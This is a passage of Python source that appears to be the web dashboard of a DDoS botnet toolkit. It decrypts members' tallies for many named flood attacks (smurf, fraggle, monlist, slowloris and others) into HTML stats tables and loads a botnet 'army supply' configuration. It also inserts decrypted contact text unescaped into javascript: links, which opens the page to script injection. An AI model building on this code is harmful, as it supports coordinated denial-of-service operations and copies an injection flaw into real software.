  6746. grid_ufosyn = nodec_text
  6747. self.decryptedtext = "" # clean decryptedtext buffer
  6748. try: # parse for int
  6749. grid_ufosyn = int(grid_ufosyn)
  6750. mothership_ufosyn = mothership_ufosyn + grid_ufosyn
  6751. except:
  6752. grid_ufosyn = nodec_text
  6753. if version > 17 or version == 17 or version == 16 or version == 15:
  6754. grid_spray = m[11] # spray
  6755. self.decrypt(grid_key, grid_spray)
  6756. if self.decryptedtext:
  6757. grid_spray = self.decryptedtext
  6758. else:
  6759. grid_spray = nodec_text
  6760. self.decryptedtext = "" # clean decryptedtext buffer
  6761. try: # parse for int
  6762. grid_spray = int(grid_spray)
  6763. mothership_spray = mothership_spray + grid_spray
  6764. except:
  6765. grid_spray = nodec_text
  6766. else:
  6767. grid_spray = str("2OwgWPTsDw8k6f6sgnGLOw8vAb1PSrs+NkeLNPxEyJO3ahKV0Q==") # not spray present
  6768. self.decrypt(grid_key, grid_spray)
  6769. if self.decryptedtext:
  6770. grid_spray = self.decryptedtext
  6771. else:
  6772. grid_spray = nodec_text
  6773. self.decryptedtext = "" # clean decryptedtext buffer
  6774. try: # parse for int
  6775. grid_spray = int(grid_spray)
  6776. mothership_spray = mothership_spray + grid_spray
  6777. except:
  6778. grid_spray = nodec_text
  6779. if version > 17 or version == 17 or version == 16 or version == 15:
  6780. grid_smurf = m[12] # smurf
  6781. self.decrypt(grid_key, grid_smurf)
  6782. if self.decryptedtext:
  6783. grid_smurf = self.decryptedtext
  6784. else:
  6785. grid_smurf = nodec_text
  6786. self.decryptedtext = "" # clean decryptedtext buffer
  6787. try: # parse for int
  6788. grid_smurf = int(grid_smurf)
  6789. mothership_smurf = mothership_smurf + grid_smurf
  6790. except:
  6791. grid_smurf = nodec_text
  6792. else:
  6793. grid_smurf = str("2OwgWPTsDw8k6f6sgnGLOw8vAb1PSrs+NkeLNPxEyJO3ahKV0Q==") # not smurf present
  6794. self.decrypt(grid_key, grid_smurf)
  6795. if self.decryptedtext:
  6796. grid_smurf = self.decryptedtext
  6797. else:
  6798. grid_smurf = nodec_text
  6799. self.decryptedtext = "" # clean decryptedtext buffer
  6800. try: # parse for int
  6801. grid_smurf = int(grid_smurf)
  6802. mothership_smurf = mothership_smurf + grid_smurf
  6803. except:
  6804. grid_smurf = nodec_text
  6805. if version > 17 or version == 17 or version == 16 or version == 15:
  6806. grid_xmas = m[13] # xmas
  6807. self.decrypt(grid_key, grid_xmas)
  6808. if self.decryptedtext:
  6809. grid_xmas = self.decryptedtext
  6810. else:
  6811. grid_xmas = nodec_text
  6812. self.decryptedtext = "" # clean decryptedtext buffer
  6813. try: # parse for int
  6814. grid_xmas = int(grid_xmas)
  6815. mothership_xmas = mothership_xmas + grid_xmas
  6816. except:
  6817. grid_xmas = nodec_text
  6818. else:
  6819. grid_xmas = str("2OwgWPTsDw8k6f6sgnGLOw8vAb1PSrs+NkeLNPxEyJO3ahKV0Q==") # not xmas present
  6820. self.decrypt(grid_key, grid_xmas)
  6821. if self.decryptedtext:
  6822. grid_xmas = self.decryptedtext
  6823. else:
  6824. grid_xmas = nodec_text
  6825. self.decryptedtext = "" # clean decryptedtext buffer
  6826. try: # parse for int
  6827. grid_xmas = int(grid_xmas)
  6828. mothership_xmas = mothership_xmas + grid_xmas
  6829. except:
  6830. grid_xmas = nodec_text
  6831. if version > 17 or version == 17 or version == 16:
  6832. grid_nuke = m[14] # nuke
  6833. self.decrypt(grid_key, grid_nuke)
  6834. if self.decryptedtext:
  6835. grid_nuke = self.decryptedtext
  6836. else:
  6837. grid_nuke = nodec_text
  6838. self.decryptedtext = "" # clean decryptedtext buffer
  6839. try: # parse for int
  6840. grid_nuke = int(grid_nuke)
  6841. mothership_nuke = mothership_nuke + grid_nuke
  6842. except:
  6843. grid_nuke = nodec_text
  6844. else:
  6845. grid_nuke = str("2OwgWPTsDw8k6f6sgnGLOw8vAb1PSrs+NkeLNPxEyJO3ahKV0Q==") # not nuke present
  6846. self.decrypt(grid_key, grid_nuke)
  6847. if self.decryptedtext:
  6848. grid_nuke = self.decryptedtext
  6849. else:
  6850. grid_nuke = nodec_text
  6851. self.decryptedtext = "" # clean decryptedtext buffer
  6852. try: # parse for int
  6853. grid_nuke = int(grid_nuke)
  6854. mothership_nuke = mothership_nuke + grid_nuke
  6855. except:
  6856. grid_nuke = nodec_text
  6857. if version > 17 or version == 17:
  6858. grid_tachyon = m[15] # tachyon
  6859. self.decrypt(grid_key, grid_tachyon)
  6860. if self.decryptedtext:
  6861. grid_tachyon = self.decryptedtext
  6862. else:
  6863. grid_tachyon = nodec_text
  6864. self.decryptedtext = "" # clean decryptedtext buffer
  6865. try: # parse for int
  6866. grid_tachyon = int(grid_tachyon)
  6867. mothership_tachyon = mothership_tachyon + grid_tachyon
  6868. except:
  6869. grid_tachyon = nodec_text
  6870. else:
  6871. grid_tachyon = str("2OwgWPTsDw8k6f6sgnGLOw8vAb1PSrs+NkeLNPxEyJO3ahKV0Q==") # not tachyon present
  6872. self.decrypt(grid_key, grid_tachyon)
  6873. if self.decryptedtext:
  6874. grid_tachyon = self.decryptedtext
  6875. else:
  6876. grid_tachyon = nodec_text
  6877. self.decryptedtext = "" # clean decryptedtext buffer
  6878. try: # parse for int
  6879. grid_tachyon = int(grid_tachyon)
  6880. mothership_tachyon = mothership_tachyon + grid_tachyon
  6881. except:
  6882. grid_tachyon = nodec_text
  6883. if version > 17:
  6884. grid_monlist = m[16] # monlist
  6885. self.decrypt(grid_key, grid_monlist)
  6886. if self.decryptedtext:
  6887. grid_monlist = self.decryptedtext
  6888. else:
  6889. grid_monlist = nodec_text
  6890. self.decryptedtext = "" # clean decryptedtext buffer
  6891. try: # parse for int
  6892. grid_monlist = int(grid_monlist)
  6893. mothership_monlist = mothership_monlist + grid_monlist
  6894. except:
  6895. grid_monlist = nodec_text
  6896. grid_fraggle = m[17] # fraggle
  6897. self.decrypt(grid_key, grid_fraggle)
  6898. if self.decryptedtext:
  6899. grid_fraggle = self.decryptedtext
  6900. else:
  6901. grid_fraggle = nodec_text
  6902. self.decryptedtext = "" # clean decryptedtext buffer
  6903. try: # parse for int
  6904. grid_fraggle = int(grid_fraggle)
  6905. mothership_fraggle = mothership_fraggle + grid_fraggle
  6906. except:
  6907. grid_fraggle = nodec_text
  6908. grid_sniper = m[18] # sniper
  6909. self.decrypt(grid_key, grid_sniper)
  6910. if self.decryptedtext:
  6911. grid_sniper = self.decryptedtext
  6912. else:
  6913. grid_sniper = nodec_text
  6914. self.decryptedtext = "" # clean decryptedtext buffer
  6915. try: # parse for int
  6916. grid_sniper = int(grid_sniper)
  6917. mothership_sniper = mothership_sniper + grid_sniper
  6918. except:
  6919. grid_sniper = nodec_text
  6920. grid_ufoack = m[19] # ufoack
  6921. self.decrypt(grid_key, grid_ufoack)
  6922. if self.decryptedtext:
  6923. grid_ufoack = self.decryptedtext
  6924. else:
  6925. grid_ufoack = nodec_text
  6926. self.decryptedtext = "" # clean decryptedtext buffer
  6927. try: # parse for int
  6928. grid_ufoack = int(grid_ufoack)
  6929. mothership_ufoack = mothership_ufoack + grid_ufoack
  6930. except:
  6931. grid_ufoack = nodec_text
  6932. grid_uforst = m[20] # uforst
  6933. self.decrypt(grid_key, grid_uforst)
  6934. if self.decryptedtext:
  6935. grid_uforst = self.decryptedtext
  6936. else:
  6937. grid_uforst = nodec_text
  6938. self.decryptedtext = "" # clean decryptedtext buffer
  6939. try: # parse for int
  6940. grid_uforst = int(grid_uforst)
  6941. mothership_uforst = mothership_uforst + grid_uforst
  6942. except:
  6943. grid_uforst = nodec_text
  6944. grid_droper = m[21] # droper
  6945. self.decrypt(grid_key, grid_droper)
  6946. if self.decryptedtext:
  6947. grid_droper = self.decryptedtext
  6948. else:
  6949. grid_droper = nodec_text
  6950. self.decryptedtext = "" # clean decryptedtext buffer
  6951. try: # parse for int
  6952. grid_droper = int(grid_droper)
  6953. mothership_droper = mothership_droper + grid_droper
  6954. except:
  6955. grid_droper = nodec_text
  6956. grid_overlap = m[22] # overlap
  6957. self.decrypt(grid_key, grid_overlap)
  6958. if self.decryptedtext:
  6959. grid_overlap = self.decryptedtext
  6960. else:
  6961. grid_overlap = nodec_text
  6962. self.decryptedtext = "" # clean decryptedtext buffer
  6963. try: # parse for int
  6964. grid_overlap = int(grid_overlap)
  6965. mothership_overlap = mothership_overlap + grid_overlap
  6966. except:
  6967. grid_overlap = nodec_text
  6968. grid_pinger = m[23] # pinger
  6969. self.decrypt(grid_key, grid_pinger)
  6970. if self.decryptedtext:
  6971. grid_pinger = self.decryptedtext
  6972. else:
  6973. grid_pinger = nodec_text
  6974. self.decryptedtext = "" # clean decryptedtext buffer
  6975. try: # parse for int
  6976. grid_pinger = int(grid_pinger)
  6977. mothership_pinger = mothership_pinger + grid_pinger
  6978. except:
  6979. grid_pinger = nodec_text
  6980. grid_ufoudp = m[24] # ufoudp
  6981. self.decrypt(grid_key, grid_ufoudp)
  6982. if self.decryptedtext:
  6983. grid_ufoudp = self.decryptedtext
  6984. else:
  6985. grid_ufoudp = nodec_text
  6986. self.decryptedtext = "" # clean decryptedtext buffer
  6987. try: # parse for int
  6988. grid_ufoudp = int(grid_ufoudp)
  6989. mothership_ufoudp = mothership_ufoudp + grid_ufoudp
  6990. except:
  6991. grid_ufoudp = nodec_text
  6992. else:
  6993. grid_monlist = str("2OwgWPTsDw8k6f6sgnGLOw8vAb1PSrs+NkeLNPxEyJO3ahKV0Q==") # not monlist present
  6994. self.decrypt(grid_key, grid_monlist)
  6995. if self.decryptedtext:
  6996. grid_monlist = self.decryptedtext
  6997. else:
  6998. grid_monlist = nodec_text
  6999. self.decryptedtext = "" # clean decryptedtext buffer
  7000. try: # parse for int
  7001. grid_monlist = int(grid_monlist)
  7002. mothership_monlist = mothership_monlist + grid_monlist
  7003. except:
  7004. grid_monlist = nodec_text
  7005. grid_fraggle = str("2OwgWPTsDw8k6f6sgnGLOw8vAb1PSrs+NkeLNPxEyJO3ahKV0Q==") # not fraggle present
  7006. self.decrypt(grid_key, grid_fraggle)
  7007. if self.decryptedtext:
  7008. grid_fraggle = self.decryptedtext
  7009. else:
  7010. grid_fraggle = nodec_text
  7011. self.decryptedtext = "" # clean decryptedtext buffer
  7012. try: # parse for int
  7013. grid_fraggle = int(grid_fraggle)
  7014. mothership_fraggle = mothership_fraggle + grid_fraggle
  7015. except:
  7016. grid_fraggle = nodec_text
  7017. grid_sniper = str("2OwgWPTsDw8k6f6sgnGLOw8vAb1PSrs+NkeLNPxEyJO3ahKV0Q==") # not sniper present
  7018. self.decrypt(grid_key, grid_sniper)
  7019. if self.decryptedtext:
  7020. grid_sniper = self.decryptedtext
  7021. else:
  7022. grid_sniper = nodec_text
  7023. self.decryptedtext = "" # clean decryptedtext buffer
  7024. try: # parse for int
  7025. grid_sniper = int(grid_sniper)
  7026. mothership_sniper = mothership_sniper + grid_sniper
  7027. except:
  7028. grid_sniper = nodec_text
  7029. grid_ufoack = str("2OwgWPTsDw8k6f6sgnGLOw8vAb1PSrs+NkeLNPxEyJO3ahKV0Q==") # not ufoack present
  7030. self.decrypt(grid_key, grid_ufoack)
  7031. if self.decryptedtext:
  7032. grid_ufoack = self.decryptedtext
  7033. else:
  7034. grid_ufoack = nodec_text
  7035. self.decryptedtext = "" # clean decryptedtext buffer
  7036. try: # parse for int
  7037. grid_ufoack = int(grid_ufoack)
  7038. mothership_ufoack = mothership_ufoack + grid_ufoack
  7039. except:
  7040. grid_ufoack = nodec_text
  7041. grid_uforst = str("2OwgWPTsDw8k6f6sgnGLOw8vAb1PSrs+NkeLNPxEyJO3ahKV0Q==") # not uforst present
  7042. self.decrypt(grid_key, grid_uforst)
  7043. if self.decryptedtext:
  7044. grid_uforst = self.decryptedtext
  7045. else:
  7046. grid_uforst = nodec_text
  7047. self.decryptedtext = "" # clean decryptedtext buffer
  7048. try: # parse for int
  7049. grid_uforst = int(grid_uforst)
  7050. mothership_uforst = mothership_uforst + grid_uforst
  7051. except:
  7052. grid_uforst = nodec_text
  7053. grid_droper = str("2OwgWPTsDw8k6f6sgnGLOw8vAb1PSrs+NkeLNPxEyJO3ahKV0Q==") # not droper present
  7054. self.decrypt(grid_key, grid_droper)
  7055. if self.decryptedtext:
  7056. grid_droper = self.decryptedtext
  7057. else:
  7058. grid_droper = nodec_text
  7059. self.decryptedtext = "" # clean decryptedtext buffer
  7060. try: # parse for int
  7061. grid_droper = int(grid_droper)
  7062. mothership_droper = mothership_droper + grid_droper
  7063. except:
  7064. grid_droper = nodec_text
  7065. grid_overlap = str("2OwgWPTsDw8k6f6sgnGLOw8vAb1PSrs+NkeLNPxEyJO3ahKV0Q==") # not overlap present
  7066. self.decrypt(grid_key, grid_overlap)
  7067. if self.decryptedtext:
  7068. grid_overlap = self.decryptedtext
  7069. else:
  7070. grid_overlap = nodec_text
  7071. self.decryptedtext = "" # clean decryptedtext buffer
  7072. try: # parse for int
  7073. grid_overlap = int(grid_overlap)
  7074. mothership_overlap = mothership_overlap + grid_overlap
  7075. except:
  7076. grid_overlap = nodec_text
  7077. grid_pinger = str("2OwgWPTsDw8k6f6sgnGLOw8vAb1PSrs+NkeLNPxEyJO3ahKV0Q==") # not pinger present
  7078. self.decrypt(grid_key, grid_pinger)
  7079. if self.decryptedtext:
  7080. grid_pinger = self.decryptedtext
  7081. else:
  7082. grid_pinger = nodec_text
  7083. self.decryptedtext = "" # clean decryptedtext buffer
  7084. try: # parse for int
  7085. grid_pinger = int(grid_pinger)
  7086. mothership_pinger = mothership_pinger + grid_pinger
  7087. except:
  7088. grid_pinger = nodec_text
  7089. grid_ufoudp = str("2OwgWPTsDw8k6f6sgnGLOw8vAb1PSrs+NkeLNPxEyJO3ahKV0Q==") # not ufoudp present
  7090. self.decrypt(grid_key, grid_ufoudp)
  7091. if self.decryptedtext:
  7092. grid_ufoudp = self.decryptedtext
  7093. else:
  7094. grid_ufoudp = nodec_text
  7095. self.decryptedtext = "" # clean decryptedtext buffer
  7096. try: # parse for int
  7097. grid_ufoudp = int(grid_ufoudp)
  7098. mothership_ufoudp = mothership_ufoudp + grid_ufoudp
  7099. except:
  7100. grid_ufoudp = nodec_text
  7101. if version == 26:
  7102. grid_contact = m[25] # contact
  7103. self.decrypt(grid_key, grid_contact)
  7104. if self.decryptedtext:
  7105. grid_contact = self.decryptedtext
  7106. else:
  7107. grid_contact = nodec_text
  7108. self.decryptedtext = "" # clean decryptedtext buffer
  7109. if len(grid_contact) > 120 or len(grid_contact) < 3: # m[25] = grid_contact (>str3<str120)
  7110. grid_contact = "<a href=javascript:alert('UNKNOWN!');>View</a>" # js error contact view
  7111. else:
  7112. try:
  7113. if " " in grid_contact: # m[25] = grid_contact
  7114. grid_contact = grid_contact.replace(" ","")
  7115. grid_contact = "<a href=javascript:alert('"+str(grid_contact)+"');>View</a>" # js contact view
  7116. except:
  7117. grid_contact = "<a href=javascript:alert('UNKNOWN!');>View</a>" # js error contact view
  7118. try:
  7119. grid_id = m[26] # id
  7120. except:
  7121. grid_id = '6666666666666666666666666666666666666' # fake id
  7122. elif version == 17:
  7123. grid_contact = m[16] # contact
  7124. self.decrypt(grid_key, grid_contact)
  7125. if self.decryptedtext:
  7126. grid_contact = self.decryptedtext
  7127. else:
  7128. grid_contact = nodec_text
  7129. self.decryptedtext = "" # clean decryptedtext buffer
  7130. grid_contact = str(grid_contact) # contact
  7131. if len(grid_contact) > 120 or len(grid_contact) < 3: # m[16] = grid_contact (>str3<str120)
  7132. grid_contact = "<a href=javascript:alert('UNKNOWN!');>View</a>" # js error contact view
  7133. else:
  7134. try:
  7135. if " " in grid_contact: # m[16] = grid_contact
  7136. grid_contact = grid_contact.replace(" ","")
  7137. grid_contact = "<a href=javascript:alert('"+str(grid_contact)+"');>View</a>" # js contact view
  7138. except:
  7139. grid_contact = "<a href=javascript:alert('UNKNOWN!');>View</a>" # js error contact view
  7140. try:
  7141. grid_id = m[17] # id
  7142. except:
  7143. grid_id = '6666666666666666666666666666666666666' # fake id
  7144. elif version == 16:
  7145. grid_contact = m[15] # contact
  7146. self.decrypt(grid_key, grid_contact)
  7147. if self.decryptedtext:
  7148. grid_contact = self.decryptedtext
  7149. else:
  7150. grid_contact = nodec_text
  7151. self.decryptedtext = "" # clean decryptedtext buffer
  7152. grid_contact = str(grid_contact) # contact
  7153. if len(grid_contact) > 120 or len(grid_contact) < 3: # m[15] = grid_contact (>str3<str120)
  7154. grid_contact = "<a href=javascript:alert('UNKNOWN!');>View</a>" # js error contact view
  7155. else:
  7156. try:
  7157. if " " in grid_contact: # m[15] = grid_contact
  7158. grid_contact = grid_contact.replace(" ","")
  7159. grid_contact = "<a href=javascript:alert('"+str(grid_contact)+"');>View</a>" # js contact view
  7160. except:
  7161. grid_contact = "<a href=javascript:alert('UNKNOWN!');>View</a>" # js error contact view
  7162. try:
  7163. grid_id = m[16] # id
  7164. except:
  7165. grid_id = '6666666666666666666666666666666666666' # fake id
  7166. elif version == 15:
  7167. grid_contact = m[14] # contact
  7168. self.decrypt(grid_key, grid_contact)
  7169. if self.decryptedtext:
  7170. grid_contact = self.decryptedtext
  7171. else:
  7172. grid_contact = nodec_text
  7173. self.decryptedtext = "" # clean decryptedtext buffer
  7174. grid_contact = str(grid_contact) # contact
  7175. if len(grid_contact) > 120 or len(grid_contact) < 3: # m[14] = grid_contact (>str3<str120)
  7176. grid_contact = "<a href=javascript:alert('UNKNOWN!');>View</a>" # js error contact view
  7177. else:
  7178. try:
  7179. if " " in grid_contact: # m[14] = grid_contact
  7180. grid_contact = grid_contact.replace(" ","")
  7181. grid_contact = "<a href=javascript:alert('"+str(grid_contact)+"');>View</a>" # js contact view
  7182. except:
  7183. grid_contact = "<a href=javascript:alert('UNKNOWN!');>View</a>" # js error contact view
  7184. try:
  7185. grid_id = m[15] # id
  7186. except:
  7187. grid_id = '6666666666666666666666666666666666666' # fake id
  7188. elif version == 12:
  7189. grid_contact = m[11] # contact
  7190. self.decrypt(grid_key, grid_contact)
  7191. if self.decryptedtext:
  7192. grid_contact = self.decryptedtext
  7193. else:
  7194. grid_contact = nodec_text
  7195. self.decryptedtext = "" # clean decryptedtext buffer
  7196. grid_contact = str(grid_contact) # contact
  7197. if len(grid_contact) > 120 or len(grid_contact) < 3: # m[11] = grid_contact (>str3<str120)
  7198. grid_contact = "<a href=javascript:alert('UNKNOWN!');>View</a>" # js error contact view
  7199. else:
  7200. try:
  7201. if " " in grid_contact: # m[11] = grid_contact
  7202. grid_contact = grid_contact.replace(" ","")
  7203. grid_contact = "<a href=javascript:alert('"+str(grid_contact)+"');>View</a>" # js contact view
  7204. except:
  7205. grid_contact = "<a href=javascript:alert('UNKNOWN!');>View</a>" # js error contact view
  7206. try:
  7207. grid_id = m[12] # id
  7208. except:
  7209. grid_id = '6666666666666666666666666666666666666' # fake id
  7210. elif version == 11:
  7211. grid_contact = m[10] # contact
  7212. self.decrypt(grid_key, grid_contact)
  7213. if self.decryptedtext:
  7214. grid_contact = self.decryptedtext
  7215. else:
  7216. grid_contact = nodec_text
  7217. self.decryptedtext = "" # clean decryptedtext buffer
  7218. grid_contact = str(grid_contact) # contact
  7219. if len(grid_contact) > 120 or len(grid_contact) < 3: # m[10] = grid_contact (>str3<str120)
  7220. grid_contact = "<a href=javascript:alert('UNKNOWN!');>View</a>" # js error contact view
  7221. else:
  7222. try:
  7223. if " " in grid_contact: # m[10] = grid_contact
  7224. grid_contact = grid_contact.replace(" ","")
  7225. grid_contact = "<a href=javascript:alert('"+str(grid_contact)+"');>View</a>" # js contact view
  7226. except:
  7227. grid_contact = "<a href=javascript:alert('UNKNOWN!');>View</a>" # js error contact view
  7228. try:
  7229. grid_id = m[11] # id
  7230. except:
  7231. grid_id = '6666666666666666666666666666666666666' # fake id
  7232. elif version == 10:
  7233. grid_contact = m[9] # contact
  7234. self.decrypt(grid_key, grid_contact)
  7235. if self.decryptedtext:
  7236. grid_contact = self.decryptedtext
  7237. else:
  7238. grid_contact = nodec_text
  7239. self.decryptedtext = "" # clean decryptedtext buffer
  7240. grid_contact = str(grid_contact) # contact
  7241. if len(grid_contact) > 120 or len(grid_contact) < 3: # m[9] = grid_contact (>str3<str120)
  7242. grid_contact = "<a href=javascript:alert('UNKNOWN!');>View</a>" # js error contact view
  7243. else:
  7244. try:
  7245. if " " in grid_contact: # m[9] = grid_contact
  7246. grid_contact = grid_contact.replace(" ","")
  7247. grid_contact = "<a href=javascript:alert('"+str(grid_contact)+"');>View</a>" # js contact view
  7248. except:
  7249. grid_contact = "<a href=javascript:alert('UNKNOWN!');>View</a>" # js error contact view
  7250. try:
  7251. grid_id = m[10] # id
  7252. except:
  7253. grid_id = '6666666666666666666666666666666666666' # fake id
  7254. else:
  7255. grid_contact = "<a href=javascript:alert('UNKNOWN!');>View</a>" # js error contact view
  7256. grid_id = '6666666666666666666666666666666666666' # fake id
  7257. try: # parsing for valid stream struct
  7258. grid_ranking = str(grid_ranking)
  7259. if grid_ranking == nodec_text: # hide any data when user is encrypted
  7260. grid_contact = "<a href=javascript:alert('UNKNOWN!');>View</a>"
  7261. grid_table += "<tr><td align='center'>"+str(nodec_text)+"</td><td align='center'>"+str(nodec_text)+"</td><td align='center'>"+str(nodec_text)+"</td><td align='center'>"+str(nodec_text)+"</td><td align='center'>"+str(nodec_text)+"</td><td align='center'>"+str(nodec_text)+"</td><td align='center'>"+str(nodec_text)+"</td><td align='center'>"+str(nodec_text)+"</td><td align='center'>"+str(nodec_text)+"</td><td align='center'>"+str(nodec_text)+"</td><td align='center'>"+str(nodec_text)+"</td><td align='center'>"+str(nodec_text)+"</td><td align='center'>"+str(nodec_text)+"</td><td align='center'>"+str(nodec_text)+"</td><td align='center'>"+str(nodec_text)+"</td><td align='center'>"+str(nodec_text)+"</td><td align='center'>"+str(nodec_text)+"</td><td align='center'>"+str(nodec_text)+"</td><td align='center'>"+str(nodec_text)+"</td><td align='center'>"+str(nodec_text)+"</td><td align='center'>"+str(nodec_text)+"</td><td align='center'>"+str(nodec_text)+"</td><td align='center'>"+str(nodec_text)+"</td><td align='center'>"+str(nodec_text)+"</td><td align='center'>"+str(nodec_text)+"</td><td align='center'>"+str(grid_contact)+"</td></tr>"
  7262. else:
  7263. grid_table += "<tr><td align='center'>"+str(grid_nickname)+"</td><td align='center'>"+str(grid_ranking)+"</td><td align='center'>"+str(grid_totalchargo)+"</td><td align='center'>"+str(grid_dorking)+"</td><td align='center'>"+str(grid_transferred)+"</td><td align='center'>"+str(grid_maxchargo)+"</td><td align='center'>"+str(grid_missions)+"</td><td align='center'>"+str(grid_attacks)+"</td><td align='center'>"+str(grid_loic)+"</td><td align='center'>"+str(grid_loris)+"</td><td align='center'>"+str(grid_ufosyn)+"</td><td align='center'>"+str(grid_spray)+"</td><td align='center'>"+str(grid_smurf)+"</td><td align='center'>"+str(grid_xmas)+"</td><td align='center'>"+str(grid_nuke)+"</td><td align='center'>"+str(grid_tachyon)+"</td><td align='center'>"+str(grid_monlist)+"</td><td align='center'>"+str(grid_fraggle)+"</td><td align='center'>"+str(grid_sniper)+"</td><td align='center'>"+str(grid_ufoack)+"</td><td align='center'>"+str(grid_uforst)+"</td><td align='center'>"+str(grid_droper)+"</td><td align='center'>"+str(grid_overlap)+"</td><td align='center'>"+str(grid_pinger)+"</td><td align='center'>"+str(grid_ufoudp)+"</td><td align='center'>"+str(grid_contact)+"</td></tr>"
  7264. except:
  7265. grid_table += "<tr><td align='center'>ERROR!</td><td align='center'>ERROR!</td><td align='center'>ERROR!</td><td align='center'>ERROR!</td><td align='center'>ERROR!</td><td align='center'>ERROR!</td><td align='center'>ERROR!</td><td align='center'>ERROR!</td><td align='center'>ERROR!</td><td align='center'>ERROR!</td><td align='center'>ERROR!</td><td align='center'>ERROR!</td><td align='center'>ERROR!</td><td align='center'>ERROR!</td><td align='center'>ERROR!</td><td align='center'>ERROR!</td><td align='center'>ERROR!</td><td align='center'>ERROR!</td><td align='center'>ERROR!</td><td align='center'>ERROR!</td><td align='center'>ERROR!</td><td align='center'>ERROR!</td><td align='center'>ERROR!</td><td align='center'>ERROR!</td><td align='center'>ERROR!</td></tr>"
  7266. grid_table += "</table><br>"
  7267. l = time.ctime(os.path.getmtime(self.grid_file)) # get last modified time
  7268. mother_table = "<center><u>MOTHERSHIP STATS:</u> (Last Update: <font color='green'>"+str(l)+"</font>)</center><br><table cellpadding='5' cellspacing='5' border='1'><tr><td><font color='green'>MEMBERS:</font></td><td align='right'><font color='green'>"+str(mothership_members)+"</font></td><td><font color='orange' size='4'>-</font></td><td align='right'><font color='orange' size='4'>"+str(unknown_members)+"</font></td><td><font color='white' size='4'>*</font></td><td align='right'><font color='white' size='4'>"+str(member_1)+"</font></td><td><font color='cyan' size='4'>**</font></td><td align='right'><font color='cyan' size='4'>"+str(member_2)+"</font></td><td><font color='blueviolet' size='4'>***</font></td><td align='right'><font color='blueviolet' size='4'>"+str(member_3)+"</font></td><td><font color='blue' size='4'>****</font></td><td align='right'><font color='blue' size='4'>"+str(member_4)+"</font></td><td><font color='red' size='4'>&#x25BC;</font></td><td align='right'><font color='red' size='4'>"+str(member_5)+"</font></td></tr></table><br><table cellpadding='5' cellspacing='5' border='1'><tr><td>MISSIONS:</td><td align='right'>"+str(mothership_missions)+"</td><td>ATTACKS:</td><td align='right'>"+str(mothership_attacks)+"</td><td>CHARGO (ACTIVE!):</td><td align='right'>"+str(mothership_chargo)+"</td><td>DORKING:</td><td align='right'>"+str(mothership_dorking)+"</td><td>TRANSF:</td><td align='right'>"+str(mothership_transferred)+"</td><td>MAX.CHARGO:</td><td align='right'>"+str(mothership_maxchargo)+"</td></tr></table><br><table cellpadding='5' cellspacing='5' border='1'><tr><td>LOIC:</td><td align='right'>"+str(mothership_loic)+"</td><td>LORIS:</td><td align='right'>"+str(mothership_loris)+"</td><td>UFOSYN:</td><td align='right'>"+str(mothership_ufosyn)+"</td><td>SPRAY:</td><td align='right'>"+str(mothership_spray)+"</td><td>SMURF:</td><td align='right'>"+str(mothership_smurf)+"</td></tr><tr><td>XMAS:</td><td align='right'>"+str(mothership_xmas)+"</td><td>NUKE:</td><td align='right'>"+str(mothership_nuke)+"</td><td>TACHYON:</td><td align='right'>"+str(mothership_tachyon)+"</td><td>MONLIST:</td><td align='right'>"+str(mothership_monlist)+"</td></tr><tr><td>FRAGGLE:</td><td align='right'>"+str(mothership_fraggle)+"</td><td>SNIPER:</td><td align='right'>"+str(mothership_sniper)+"</td><td>UFOACK:</td><td align='right'>"+str(mothership_ufoack)+"</td><td>UFORST:</td><td align='right'>"+str(mothership_uforst)+"</td></tr><tr><td>DROPER:</td><td align='right'>"+str(mothership_droper)+"</td><td>OVERLAP:</td><td align='right'>"+str(mothership_overlap)+"</td><td>PINGER:</td><td align='right'>"+str(mothership_pinger)+"</td><td>UFOUDP:</td><td align='right'>"+str(mothership_ufoudp)+"</td></tr></table><br><hr><br>"
  7269. f.write(mother_table)
  7270. f.write(grid_table)
  7271. f.write(end_mark)
  7272. f.close()
  7273. else: # not valid stream data
  7274. pass
  7275. if page == "/cmd_decrypt_grid_update":
  7276. if not os.path.exists('/tmp/out'):
  7277. open('/tmp/out', 'w').close()
  7278. with open('/tmp/out', 'r') as f:
  7279. self.pages["/cmd_decrypt_grid_update"] = "<pre>"+f.read()+"<pre>"
  7280. if page == "/cmd_decrypt_wargames":
  7281. self.pages["/cmd_decrypt_wargames"] = "<pre>Waiting for decrypting results...</pre>"
  7282. wargames_join_flag = False # anti-join flag for non decrypted wargames
  7283. try:
  7284. wargames_deckey = pGet["wargames_deckey"]
  7285. except:
  7286. wargames_deckey = ""
  7287. end_mark = "[Info] [AI] End of decryption."
  7288. if wargames_deckey != "": # wargames decryption
  7289. nodec_text = "KEY?"
  7290. try: # read global army supply from configuration file (json)
  7291. with open(self.mothership_supplycfg_file) as data_file:
  7292. data = json.load(data_file)
  7293. except:
  7294. if os.path.exists(self.mothership_supplycfg_file) == True:
  7295. print('[Error] [AI] Cannot open: "core/json/supplycfg.json" -> [Aborting!]\n')
  7296. return
  7297. else: # generate default global army supply configuration file
  7298. print('[Info] [AI] Cannot found: "core/json/supplycfg.json" -> [Generating!]')
  7299. with open(self.mothership_supplycfg_file, "w") as f:
  7300. json.dump({"botnet": 1, "loic": 0, "loris": 0, "ufosyn": 0, "spray": 0, "smurf": 0, "xmas": 0, "nuke": 0, "tachyon": 0, "monlist": 0, "fraggle": 0, "sniper": 0, "ufoack": 0, "uforst": 0, "droper": 0, "overlap": 0, "pinger": 0, "ufoudp": 0}, f, indent=4)
  7301. with open(self.mothership_supplycfg_file) as data_file:
  7302. data = json.load(data_file)
  7303. self.supply_botnet = data["botnet"]
  7304. self.supply_loic = data["loic"]
  7305. self.supply_loris = data["loris"]
  7306. self.supply_ufosyn = data["ufosyn"]
  7307. self.supply_spray = data["spray"]
  7308. self.supply_smurf = data["smurf"]
  7309. self.supply_xmas = data["xmas"]
  7310. self.supply_nuke = data["nuke"]
  7311. self.supply_tachyon = data["tachyon"]
  7312. self.supply_monlist = data["monlist"]
  7313. self.supply_fraggle = data["fraggle"]
  7314. self.supply_sniper = data["sniper"]
  7315. self.supply_ufoack = data["ufoack"]
  7316. self.supply_uforst = data["uforst"]
  7317. self.supply_droper = data["droper"]
  7318. self.supply_overlap = data["overlap"]
  7319. self.supply_pinger = data["pinger"]
  7320. self.supply_ufoudp = data["ufoudp"]
  7321. f = open(self.wargames_file,"r")
  7322. ls = f.readlines()
  7323. f.close()
  7324. if ls:
